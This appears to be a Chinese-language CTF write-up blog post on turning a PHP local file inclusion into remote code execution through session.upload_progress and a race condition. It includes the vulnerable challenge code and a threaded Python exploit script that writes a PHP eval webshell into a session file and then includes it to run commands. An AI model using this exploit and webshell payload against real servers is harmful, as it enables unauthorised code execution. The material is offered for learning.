2020-10-19
792
PHP session.upload_process + LFI实现RCE
参考文章:
https://tgaout.github.io/2019/05/29/利用session-upload-progress进行文件包含和反序列化渗透/
这篇文章主要记录参考文章的复现环节,知识点部分简单介绍。
0x01 PHP关于upload_process配置介绍
本文提到的PHP配置中关于session.upload_process主要是下面四个:
1 2 3 4 session.upload_progress.enabled = on session.upload_progress.cleanup = on session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
enabled=on
表示当浏览器向服务器上传文件的时候,PHP会把本次文件上传的详细信息存储在session中;
cleanup=on
表示上传结束后,PHP会立即清空对应的session文件中的内容;
关于prefix
和name
两个选项,PHP文档中有详细说明:
0x02 upload_progress + 文件包含实现RCE
示例代码
直接从一道CTF题目入手:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php define('还要秀?' , dirname(__FILE__ )); set_include_path(还要秀?); if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); include ($file); }else { highlight_file(__FILE__ ); }
ban掉了常见的文件包含伪协议,这个时候我们可以利用session.upload_progress
将恶意代码写入session文件,从而包含session文件。
现在还存在两个问题:首先没有代码中没有session_start()
如何创建session文件;第二个问题,由于session.upload_progress.cleanup=on
,当文件上传结束后,session文件的内容被自动清除,如何进行RCE?
session.use_strict_mode
关于第一个问题,session还有一个默认配置:session.use_strict_mode=0
,意思就是用户可以自定义Session ID。具体而言,我们在Cookie中设置Cookie:PHPSESSID=ca01h
,PHP将会在服务器上session存储的位置创建一个文件session_ca01h
,即使用户没有初始化Session,PHP也会自动初始化Session,并且产生一个键值,这个键值由session.upload_progress.prefix
+session.upload_progress_name
组成,最后被写入sess_文件中。
条件竞争
为了赶在session文件被清除之前进行RCE,可以通过上传一个大文件进行条件竞争。
解题
本来是想直接写一个脚本Getshell的,结果一直没能调试出来,只能用burp抓包intrude了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport ioimport threadingurl = """http://7a4916f9-18d7-4ecf-bed3-302ed44c5763.chall.ctf.show/index.php""" sessid = "ca01h" data = {"cmd" : "system('ls');" } proxy = {"http" : "127.0.0.1:8080" } def write (session ): while True : f = io.BytesIO(b'a' * 1024 ) resp = session.post(url=url, data={"PHP_SESSION_UPLOAD_PROGRESS" : "<?php eval($_POST);?>" }, files={"file" : ("ca01h.txt" , f)}, cookies={"PHPSESSID" : sessid}, proxies=proxy) def read (session ): while True : resp = session.post(url=url+"?file=/tmp/sess_" +sessid, data=data, proxies=proxy) if "ca01h.txt" in resp.text: print(resp.text) event.clear() else : print("[++++++]Retry" ) if __name__ == '__main__' : event = threading.Event() with requests.session() as session: for i in range(30 ): threading.Thread(target=write, args=(session,)).start() for i in range(30 ): threading.Thread(target=read, args=(session,)).start() event.set()
burp抓包
文件上传请求包:
执行命令请求包:
条件竞争爆破